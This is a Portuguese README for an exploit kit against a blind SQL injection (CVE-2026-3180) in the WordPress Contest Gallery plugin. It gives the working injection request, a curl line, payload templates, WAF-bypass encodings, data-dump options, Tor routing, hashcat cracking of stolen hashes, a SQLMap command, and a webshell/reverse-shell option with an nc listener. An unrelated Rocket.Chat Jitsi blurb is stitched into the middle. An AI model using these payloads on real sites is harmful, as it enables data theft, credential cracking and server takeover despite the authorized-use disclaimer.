
Kit de exploração completo para CVE-2026-3180 - vulnerabilidade de injeção SQL no WordPress Contest Gallery. Inclui extração automatizada de dados, bypass de WAF, reverse shell, integração com SQLMap, geração de extensão Burp e relatórios para testes de penetração e pesquisa de segurança.
Ferramenta de avaliação de prova de conceito para CVE-2026-3180
Autor: Sudeepa Wanigarathna · Descoberta original: cardosource
[!IMPORTANT] Uso autorizado apenas. Esta ferramenta destina-se a pesquisa em segurança, educação e teste de sistemas que você possui ou para os quais possui permissão explícita por escrito. O acesso não autorizado a sistemas de computador é ilegal. O autor não se responsabiliza pelo uso indevido.
CVE-2026-3180 é uma injeção SQL cega não autenticada de alta severidade no plugin Contest Gallery do WordPress. A falha existe no manipulador AJAX post_cg1l_resend_unconfirmed_mail_frontend, onde o parâmetro cgl_mail é passado para uma consulta SQL sem a devida sanitização.
Este repositório fornece um PoC Python completo (v2.0) para profissionais de segurança autorizados validarem o impacto, extraírem dados do WordPress, gerarem relatórios e integrarem com ferramentas padrão da indústria (SQLMap, Burp Suite, Nuclei).
| Campo | Valor |
|---|
POST /wp-admin/admin-ajax.php HTTP/1.1 Host: target.example Content-Type: application/x-www-form-urlencoded
action=post_cg1l_resend_unconfirmed_mail_frontend &cgl_mail=qualquer'OR/**/1=1#@teste.com &cgl_page_id=1 &cgl_activation_key= &cg_nonce=%20
### Referências
- [CVE-2026-3180](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-3180)
- [Exploit-DB 52609](https://www.exploit-db.com/exploits/52609)
- [Artigo original (cardosource)](https://dev.to/22l31on/wordpress-contest-gallery-plugin-vulnerability-2ff6)
---
## Funcionalidades
### Exploração Principal
| Capacidade | Descrição |
|---|---|
| Detecção de vulnerabilidades | Testes de consultas booleanas, baseadas em tempo, baseadas em erro, union e empilhadas |
| Extração cega | Extração de caracteres por busca binária via inferência booleana |
| Despejo completo de dados | Usuários, metadados do banco, opções, plugins, temas, posts, tabelas |
| Shell SQL interativa | Executar consultas `SELECT` arbitrárias no backend |
| Extração de wp-config.php | Tentativas de `LOAD_FILE()` em caminhos comuns |
| Shell reversa | Gravação de webshell PHP via `INTO OUTFILE` / `DUMPFILE` (quando permitido) |
### Evasão e Desempenho
| Capacidade | Descrição |
|---|---|
| Bypass de WAF | Mais de 15 técnicas de codificação e ofuscação |
| Multithreading | Threads de trabalho configuráveis para extração mais rápida |
| Limitação de taxa | Atraso configurável entre requisições |
| Lógica de repetição | Repetições automáticas em falhas transitórias |
| Rotação de User-Agent | Impressões digitais aleatórias de navegador por requisição |
| Suporte a proxy | Proxies HTTP/SOCKS e Tor (`socks5h://127.0.0.1:9050`) |
### Relatórios e Integrações
| Capacidade | Descrição |
|---|---|
| Geração de relatórios | Relatórios JSON e HTML com resumos de extração |
| Integração com SQLMap | Comando SQLMap gerado automaticamente com tampers |
| Extensão do Burp Suite | Gerador + script independente `burp_contest_gallery.py` |
| Template Nuclei | Template YAML para detecção em massa |
| Módulo Metasploit | Módulo auxiliar Ruby (`contest_gallery_sqli.rb`) |
| Automação de shell | Scripts Bash para fluxos baseados em curl e SQLMap |
### Operacional
| Capacidade | Descrição |
|---|---|
| Saída CLI colorida | Registro estruturado com níveis de severidade |
| Acompanhamento de progresso | Métricas em tempo real (requisições, temporização, velocidade de extração) |
| Modos silencioso / verboso | Adequado para scripts e depuração |
| Tratamento de sinais | Limpeza graciosa ao pressionar `Ctrl+C` |
| Pronto para Docker | Suporte a implantação containerizada |
| Pronto para pipeline CI/CD | Códigos de saída e saída JSON para automação |
---
## Instalação
### Pré-requisitos
- Python **3.8+**
- `pip`
- Conectividade de rede com o(s) alvo(s) em teste
### Ferramentas Externas Opcionais
| Ferramenta | Propósito |
|---|---|
| [SQLMap](https://github.com/sqlmapproject/sqlmap) | Injeção SQL automatizada |
| [Burp Suite](https://portswigger.net/burp) | Testes manuais e hospedagem de extensões |
| [Nuclei](https://github.com/projectdiscovery/nuclei) | Varredura baseada em templates |
| [Hashcat](https://hashcat.net/hashcat/) | Quebra de hashes offline |
| [Tor](https://www.torproject.org/) | Roteamento anônimo (`--proxy tor`) |
### Configuração```bash
git clone https://github.com/CerberusMrXi/WP-Contest-Gallery-28.1.4-Exploit.git
cd WP-Contest-Gallery-28.1.4-Exploit
python3 -m venv venv
source venv/bin/activate # Windows: venv\Scripts\activate
pip install -r requirements.txt
python3 cve-2026-3180.py --help
Requerido (runtime):```text requests>=2.31.0
**Recomendado (de requirements.txt):**```text
colorama>=0.4.6
tqdm>=4.65.0
pyyaml>=6.0
python-dateutil>=2.8.2
urllib3>=2.0.0
O exploit principal utiliza apenas a biblioteca padrão do Python mais
requests. Pacotes adicionais melhoram a saída e o relatório.
Substitua
http://target.examplepor um alvo apenas de laboratório ou autorizado.
python3 cve-2026-3180.py http://target.example --scan
### Exploração completa (detectar + extrair)```bash
python3 cve-2026-3180.py http://target.example
python3 cve-2026-3180.py http://target.example --dump users
### Shell SQL interativo```bash
python3 cve-2026-3180.py http://target.example --sql-shell
python3 cve-2026-3180.py http://target.example --report html -o assessment.html
### Através do proxy Burp```bash
python3 cve-2026-3180.py http://target.example --proxy http://127.0.0.1:8080 -v
python3 cve-2026-3180.py http://target.example --scan
Executa detecção booleana, baseada em tempo e baseada em erro sem extração completa.
### Extração completa de dados```bash
python3 cve-2026-3180.py http://target.example --dump all
Extrai informações do banco de dados, usuários, opções, plugins, temas, posts, tabelas e metadados do sistema.
python3 cve-2026-3180.py http://target.example --dump database python3 cve-2026-3180.py http://target.example --dump users python3 cve-2026-3180.py http://target.example --dump config python3 cve-2026-3180.py http://target.example --dump options python3 cve-2026-3180.py http://target.example --dump plugins python3 cve-2026-3180.py http://target.example --dump themes
### Shell SQL interativo```bash
python3 cve-2026-3180.py http://target.example --sql-shell
Adiciona suporte de videoconferência Jitsi ao Rocket.Chat.

Rocket.Chat.App-Jitsi
Adiciona suporte de videoconferência Jitsi ao Rocket.Chat.
Suporte de videoconferência Rocket.Chat.App-Jitsi
Aplicativo de videoconferência usando Jitsi Meet como provedor de conferência.
Funcionalidades
meet.jit.si)sql> show users [ { "username": "admin", "email": "[email protected]", "password_hash": "$P$B..." } ]
sql> show tables ["wp_users", "wp_posts", "wp_options", ...]
sql> exit
**Comandos do shell:**
| Comando | Descrição |
|---|---|
| `SELECT ...` | Executar uma consulta SQL e imprimir resultado |
| `show users` | Exibir usuários extraídos em cache |
| `show tables` | Exibir lista de tabelas em cache |
| `show database` | Exibir metadados do banco de dados em cache |
| `show config` | Exibir wp-config.php se extraído |
| `show options` | Exibir opções do WordPress |
| `show plugins` | Exibir plugins ativos |
| `help` | Listar comandos disponíveis |
| `exit` / `quit` | Sair do shell |
### Geração de relatório```bash
# JSON report (default, saved to reports/)
python3 cve-2026-3180.py http://target.example --report json
# HTML report with custom filename
python3 cve-2026-3180.py http://target.example --report html -o reports/assessment.html
nc -lvnp 4444
python3 cve-2026-3180.py http://target.example --reverse-shell 10.0.0.5 4444
> Requer privilégio `FILE`, webroot gravável e `secure_file_priv` não bloqueando o caminho de destino.
### Geração de comando do SQLMap```bash
python3 cve-2026-3180.py http://target.example --sqlmap
Ou use o script de automação fornecido:```bash chmod +x sqlmap_automation.sh ./sqlmap_automation.sh http://target.example
### Extensão do Burp Suite```bash
# Generate extension from exploit
python3 cve-2026-3180.py http://target.example --burp-extension
# Or load the standalone extension
# Burp → Extender → Extensions → Add → Python → burp_contest_gallery.py
python3 cve-2026-3180.py http://target.example --nuclei-template
nuclei -u http://target.example -t CVE-2026-3180.yaml
### Automação em Bash (sem Python)```bash
chmod +x cve-2026-3180_automated.sh
./cve-2026-3180_automated.sh http://target.example
python3 cve-2026-3180.py http://target.example --proxy tor
### Ajuste de desempenho```bash
python3 cve-2026-3180.py http://target.example \
--threads 20 \
--timeout 15 \
--delay 0.1 \
--retries 5 \
-v
| Argumento | Descrição |
|---|---|
target | URL base do WordPress alvo (ex.: http://target.example) |
| Argumento | Descrição |
|---|---|
--verbose, -v | Habilitar registro de depuração |
--quiet | Suprimir saída do console |
--output, |
A ferramenta testa e utiliza automaticamente múltiplas estratégias de injeção:
O PayloadManager alterna entre mais de 12 templates de injeção:```text
'OR//{condition}#@teste.com
'OR{condition}-- -
')OR{condition}#
'))OR{condition}#
'OR//{condition}OR//'1'='1'#
'UNION//SELECT{condition}#
...
### Algoritmo de Extração Booleana
1. Confirmar a vulnerabilidade através dos comprimentos base verdadeiro/falso
2. Pesquisa binária de `LENGTH()` do resultado da consulta alvo
3. Pesquisa binária de `ASCII(SUBSTRING(...))` por posição de caractere
4. Montar a string completa a partir dos caracteres extraídos
---
## Bypass de WAF
Técnicas de ofuscação integradas aplicadas aleatoriamente ou sob demanda:
| Técnica | Descrição |
|---|---|
| `comment_obfuscation` | Substituir espaços por `/**/`, `/*!*/`, `-- `, `#` |
| `case_variation` | Caixa alta/baixa aleatória em caracteres alfabéticos |
| `url_encoding` | Codificação percentual padrão |
| `double_url_encoding` | Codificação percentual aninhada |
| `hex_encoding` | Codificação hexadecimal estilo `%41` |
| `unicode_encoding` | Codificação Unicode estilo `%u0041` |
| `white_space_variation` | Tabulações, novas linhas, alimentações de formulário em vez de espaços |
| `keyword_obfuscation` | Dividir palavras-chave: `SEL/**/ECT`, `UNI/**/ION` |
| `concat_obfuscation` | Concatenação de `CHAR()` via `\|\|` |
| `char_obfuscation` | Adição de `CHAR()` via `+` |
Exemplo de payload transformado:```text
qualquer'OR/**/1=1#@teste.com
→ qualquer'%2F**%2FOR%2F**%2F1%3D1%23%40teste.com
{ "username": "admin", "password_hash": "$P$Bxxxxxxxxxxxxxxxxxxxxxxxxxxxxx", "email": "[email protected]", "roles": ["administrator"] }
### Quebra de Hashes de Senhas (offline)
Após a extração, quebre os hashes phpass do WordPress com o Hashcat:```bash
# Save hashes to file
python3 cve-2026-3180.py http://target.example --dump users -o users.json
# Crack with Hashcat (mode 400 = phpass)
hashcat -m 400 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt
Comando gerado (via --sqlmap):```bash
sqlmap -u "http://target.example/wp-admin/admin-ajax.php"
--data "action=post_cg1l_resend_unconfirmed_mail_frontend&cgl_mail=test'&cgl_page_id=1&cgl_activation_key=&cg_nonce=%20"
-p cgl_mail
--dbms=mysql
--level=3 --risk=2
--batch
--threads=5
--time-sec=5
--retries=3
--delay=0.05
--random-agent
--hex
--tamper=space2comment,randomcase,between,charencode
--dbs
### Burp Suite
1. Carregue `burp_contest_gallery.py` em **Extender → Extensions → Add**
2. Abra a aba **CVE-2026-3180**
3. Insira o URL alvo e clique em **Exploit**
4. O scanner passivo verifica requisições AJAX em busca de indicadores do Contest Gallery
### Nuclei```yaml
id: CVE-2026-3180
info:
name: WordPress Contest Gallery SQL Injection
severity: high
classification:
cve-id: CVE-2026-3180
cvss-score: 7.5
requests:
- method: POST
path: /wp-admin/admin-ajax.php
body: "action=post_cg1l_resend_unconfirmed_mail_frontend&cgl_mail=test'&cgl_page_id=1&cgl_activation_key=&cg_nonce=%20"
cp contest_gallery_sqli.rb ~/.msf4/modules/auxiliary/scanner/http/
msfconsole -q -x "use auxiliary/scanner/http/contest_gallery_sqli; set RHOSTS target.example; run"
---
## Cadeia de Ataque```mermaid
flowchart TD
A["Unauthenticated POST to admin-ajax.php"] --> B["cgl_mail parameter unsanitized"]
B --> C{"Injection type?"}
C -->|Boolean| D["Response length inference"]
C -->|Time| E["SLEEP delay inference"]
C -->|Error| F["SQL error leakage"]
D --> G["Binary-search extraction"]
E --> G
F --> G
G --> H["WordPress data exfiltration"]
H --> I["Users / hashes / options / config"]
I --> J["Optional: OUTFILE webshell"]
post_cg1l_resend_unconfirmed_mail_frontend no plugin Contest Gallery.cgl_mail concatenado em SQL sem parametrização.[] Target: http://target.example [] Checking vulnerability... [+] Target is VULNERABLE! (Boolean-based) [+] Response length difference: 42 chars [*] Extracting database information... [+] name: wordpress [+] version: 8.0.35 [+] Found 3 users [+] Exploitation complete!
### Estrutura do Relatório JSON```json
{
"metadata": {
"cve": "CVE-2026-3180",
"cvss_score": "7.5 (High)",
"type": "boolean_based"
},
"target": {
"url": "http://target.example",
"ajax_url": "http://target.example/wp-admin/admin-ajax.php"
},
"vulnerability": {
"vulnerable": true,
"type": "boolean_based"
},
"extracted_data": {
"database": { "name": "wordpress", "version": "8.0.35" },
"users": [],
"tables": [],
"plugins": [],
"options": {}
},
"summary": {
"users_found": 3,
"tables_found": 12,
"plugins_found": 8,
"config_extracted": false
}
}
Os relatórios são salvos em reports/ por padrão.
FROM python:3.11-slim
WORKDIR /app COPY requirements.txt cve-2026-3180.py ./ RUN pip install --no-cache-dir -r requirements.txt
ENTRYPOINT ["python3", "cve-2026-3180.py"] CMD ["--help"]
$ crackmapexec -t 10 <target>```bash
# Build
docker build -t cve-2026-3180 .
# Scan
docker run --rm cve-2026-3180 http://target.example --scan
# Full exploit with report volume
docker run --rm -v $(pwd)/reports:/app/reports cve-2026-3180 \
http://target.example --report json
Exemplo de fluxo de trabalho GitHub Actions para varreduras autorizadas em staging:```yaml name: CVE-2026-3180 Staging Scan
on: workflow_dispatch: schedule: - cron: '0 2 * * 1'
jobs: scan: runs-on: ubuntu-latest steps: - uses: actions/checkout@v4
- uses: actions/setup-python@v5
with:
python-version: '3.11'
- run: pip install -r requirements.txt
- name: Vulnerability scan
run: |
python3 cve-2026-3180.py ${{ secrets.STAGING_URL }} \
--scan --quiet
continue-on-error: true
- name: Generate report
run: |
python3 cve-2026-3180.py ${{ secrets.STAGING_URL }} \
--report json -o reports/staging.json
- uses: actions/upload-artifact@v4
with:
name: security-report
path: reports/
---
## Resolução de Problemas
| Sintoma | O que tentar |
|---|---|
| Destino não vulnerável | Confirmar que Contest Gallery ≤ 28.1.4 está instalado e ativo |
| Nenhuma diferença no tamanho da resposta | Tentar `--scan` para fallback baseado em tempo; aumentar `--timeout` |
| Extração muito lenta | Aumentar `--threads`; reduzir `--delay` com cautela |
| Erros de conexão | Aumentar `--timeout` e `--retries`; verificar configurações de proxy |
| WAF bloqueando requisições | Usar `--proxy tor`; a ferramenta aplica técnicas de bypass automaticamente |
| Falha no proxy Tor | Verificar Tor em `127.0.0.1:9050`; instalar `requests[socks]` se necessário |
| Dump de usuários vazio | O prefixo da tabela pode não ser `wp_`; usar `--sql-shell` com consultas personalizadas |
| wp-config não encontrado | Tentar `--sql-shell` com caminhos alternativos de `LOAD_FILE()` |
| Falha no reverse shell | Verificar privilégio `FILE`, `secure_file_priv`, permissões do webroot |
### Fluxo de Depuração```bash
# Verbose scan
python3 cve-2026-3180.py http://target.example --scan -v
# Through Burp
python3 cve-2026-3180.py http://target.example \
--proxy http://127.0.0.1:8080 -v --scan
# Manual curl verification
curl -s -X POST "http://target.example/wp-admin/admin-ajax.php" \
-d "action=post_cg1l_resend_unconfirmed_mail_frontend&cgl_mail=qualquer'OR/**/1=1#@teste.com&cgl_page_id=1&cgl_activation_key=&cg_nonce=%20" \
-w "\nSize: %{size_download}\n"
exploit/ ├── cve-2026-3180.py # Main exploit tool (v2.0) ├── requirements.txt # Python dependencies ├── README.md # This file ├── burp_contest_gallery.py # Standalone Burp Suite extension ├── contest_gallery_sqli.rb # Metasploit auxiliary module ├── cve-2026-3180_automated.sh # Bash/curl automation script ├── sqlmap_automation.sh # SQLMap wrapper script ├── reports/ # Generated reports (created at runtime) ├── backups/ # Database backups (created at runtime) ├── payloads/ # Custom payload storage └── venv/ # Local virtualenv (optional, not committed)
---
## Histórico de Versões
### v2.0.0 — Edição Ultimate (Janeiro de 2026)
- Detecção de injeção booleana, baseada em tempo, erro, union e empilhada
- Pipeline completo de extração de dados do WordPress
- Mais de 15 técnicas de bypass de WAF
- Shell SQL interativa
- Geração de relatórios JSON / HTML
- Integrações com SQLMap, Burp e Nuclei
- Reverse shell via `INTO OUTFILE`
- Suporte a proxy e Tor
- Multi-threading com lógica de repetição
- Saída colorida e registro estruturado
### v1.0 — Lançamento Inicial
- Detecção básica baseada em booleano
- Extração manual de usuários
---
## Aviso Legal
Este projeto é fornecido **como está** para **pesquisa de segurança defensiva** e **testes de penetração autorizados**.
Ao usar este software, você concorda que:
1. Você terá como alvo apenas sistemas que possui ou para os quais está explicitamente autorizado a testar.
2. Você compreende as leis aplicáveis de abuso de computadores e proteção de dados.
3. O autor e colaboradores **não são responsáveis** por danos, perda de dados ou consequências legais decorrentes do uso indevido.
Se você descobrir esta vulnerabilidade em produção, siga as práticas de divulgação responsável e coordene com o fornecedor do plugin / equipe de segurança do WordPress quando apropriado.
---
## Autor & Créditos
| Papel | Nome |
|---|---|
| **Autor da Ferramenta** | Sudeepa Wanigarathna |
| **Descoberta Original** | cardosource |
| **CVE** | CVE-2026-3180 |
| **Licença** | MIT |
---
## Licença```
MIT License
Copyright (c) 2026 Sudeepa Wanigarathna
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
Apenas para testes de segurança autorizados.
| Atributo | Valor |
|---|
| ID CVE | CVE-2026-3180 |
| CVSS | 7.5 (Alta) |
| Vetor de Ataque | Rede — não autenticado |
| Impacto | Violação de confidencialidade, leitura de banco de dados, roubo de credenciais |
| Produto Afetado | Plugin WordPress Contest Gallery |
| Versões Afetadas | 28.1.4 e anteriores |
| Tipo de Vulnerabilidade | Injeção SQL Cega |
| DBMS | MySQL / MariaDB |
| URL | /wp-admin/admin-ajax.php |
| Método | POST |
| Ação | post_cg1l_resend_unconfirmed_mail_frontend |
| Parâmetro Vulnerável | cgl_mail |
| Argumento | Padrão | Descrição |
|---|
--proxy | — | URL do proxy ou tor para SOCKS5 via Tor |
--timeout | 10 | Tempo limite de requisição HTTP (segundos) |
--delay | 0.05 | Atraso entre requisições (segundos) |
--retries | 3 | Número de tentativas em requisições falhas |
--threads, -t | 5 | Tamanho do pool de threads |
-o| Caminho personalizado do arquivo de saída |
| Argumento | Descrição |
|---|
| (padrão) | Exploração completa: detectar → escanear → extrair tudo |
--scan | Apenas detecção de vulnerabilidades |
--sql-shell | Shell SQL interativo |
--dump {users,config,database,options,plugins,themes,all} | Extrair dados específicos |
--report {json,html} | Gerar relatório de avaliação |
--reverse-shell LHOST LPORT | Tentar reverse shell via escrita de arquivo |
--sqlmap | Imprimir comando do SQLMap |
--burp-extension | Gerar extensão do Burp Suite |
--nuclei-template | Gerar template YAML do Nuclei |
| Tipo | Método de Detecção | Caso de Uso |
|---|
| Baseado em booleano | Diferencial de tamanho de resposta (1=1 vs 1=2) | Mecanismo primário de extração |
| Baseado em tempo | Inferência de atraso SLEEP() | Fallback quando sinais booleanos são fracos |
| Baseado em erro | EXTRACTVALUE() / strings de erro SQL | Metadados rápidos quando erros vazam |
| Baseado em UNION | Payloads UNION SELECT | Recuperação direta de valores (quando aplicável) |
| Consultas empilhadas | Sintaxe '; ... # | Execução de múltiplas instruções (raro) |
| Alvo | Fonte SQL | Chave de Saída |
|---|
| Nome do banco de dados | SELECT DATABASE() | database.name |
| Versão do BD | SELECT VERSION() | database.version |
| Usuário do BD | SELECT USER() | database.user |
| Tabelas | information_schema.TABLES | tables[] |
| Colunas | information_schema.COLUMNS | columns{} |
| Usuários WP | wp_users | users[] |
| Hashes de senhas | wp_users.user_pass | users[].password_hash |
| E-mails | wp_users.user_email | users[].email |
| Papéis | wp_usermeta capabilities | users[].roles |
| Opções do site | wp_options | options{} |
| Plugins ativos | wp_options.active_plugins | plugins[] |
| Temas | template / stylesheet options | themes[] |
| Postagens | wp_posts | posts[] |
| wp-config.php | LOAD_FILE('/var/www/html/wp-config.php') | config |
| Informações do sistema | @@hostname, @@datadir, etc. | system_info{} |